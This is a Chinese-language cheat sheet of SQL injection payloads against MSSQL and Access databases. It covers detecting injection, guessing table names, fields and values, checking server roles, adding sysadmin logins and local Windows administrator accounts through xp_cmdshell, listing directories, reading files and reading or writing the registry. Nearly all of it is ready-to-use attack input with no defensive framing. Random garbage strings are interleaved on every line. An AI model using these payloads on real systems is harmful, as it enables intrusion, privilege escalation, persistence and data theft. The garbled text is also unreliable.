1.判断是否有注入;and 1=1 ;and 1=2 X3:XTuV
2.初步判断是否是mssql ;and user>0 zrv#Xa!O\
^6P3%
3.注入参数是字符'and [查询条件] and ''='
|?,[@z _,
7`H
1f]d
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 6^n0[7
k@D0 {z
5.判断数据库系统 I3:[= ,5
(?kl$~&|
;and (select count(*) from sysobjects)>0 mssql <zy,5IlD
}Jh: 8BNuP
;and (select count(*) from msysobjects)>0 access Xy5s^82?
#:|+XLL
9F-
)r'
'snn~{hG
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Z!&Rr~i
<
[;.`,/
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 a7/-wk
\WrFqm#
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 C"qU-&*v
H:JLAK
9.(1)猜字段的ascii值(access) W85@v2b
Dbaf0
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ow;R$5G
*P!e:Tm)
(2)猜字段的ascii值(mssql) 3!o4)yJWx
$RwB_F
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 oi&Wo'DX
&Q=ZwC7#
10.测试权限结构(mssql) omf Rs
]:$
O{y
L~/qGDXC?
qxMnp}O
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- !epgTN
HXVBb%pP
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- CG&`16KN7
Koln9'tB
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- tPyyZ#,
desThnTw
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,kp\(X[J
4^'3&vu
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- m&oi8 P-6
x/MZ(A%D
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ^D_/=4rz8
*Sf-;U
;and 1=(select IS_MEMBER('db_owner'));-- &>jAe_{",
QIn/,Yd
"4j:[9vR\
rba;&D;
11.添加mssql和系统的帐户 v !Kw<
fp|
1fL<&G
;exec master.dbo.sp_addlogin username;-- tAFti+Qb
;exec master.dbo.sp_password null,username,password;-- &~f3 psA
FM5e+$>@
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ql&*6KZ"
i_LF`JhEQT
;exec master.dbo.xp_cmdshell 'net user username password kF V7l
LDy<k=;o
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- @TA9V@?)
0gF!!m
;exec master.dbo.xp_cmdshell 'net user username password /add';-- cM &'[CI
`wTlyS3[
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- &Rz,
J]
2o[IHO]
V5GkP1L
z&$/EP-
12.(1)遍历目录 agOk*wH5
i!dv0|_
;create table dirs(paths varchar(100), id int) \H5Jk$*
y466A]|
;insert dirs exec master.dbo.xp_dirtree 'c:\' i(wgB\9i4
o8FXqTUcs4
;and (select top 1 paths from dirs)>0 q cA`)j
qturd7
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) qq0?e0H
Y&r]lD
M_D6i%b^
lZt(&^T
(2)遍历目录 jB^OP1
"]-],K
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3rf#Q}"
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 M\+* P,i
8xI`jE"1
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 e}cnX`B
Hwe)Tsh e
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 s3lwu :4f
?&h3P8
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 =ziy`#fm,
Oz:ZQ M
yNJAWM7
a~^Srj!}x
13.mssql中的存储过程 D\T!4q'Q
X`\:_|
xp_regenumvalues 注册表根键, 子键 8]0:1
{@
qGPb
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 '3kcD7
MdhT!?
xp_regread 根键,子键,键值名 2Q$\KRE
f'dK73Xof
;exec xp_regread 7-9;PkGG.A
=!-5+I#e
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ^4`&EF
_&
4its
xp_regwrite 根键,子键, 值名, 值类型, 值 ^ZQCIS-R
LEc8NQs
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 8gmn6dCf
eZO9GMO
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 s5Fr)q// !
FyEDt@J
xp_regdeletevalue 根键,子键,值名 >4![&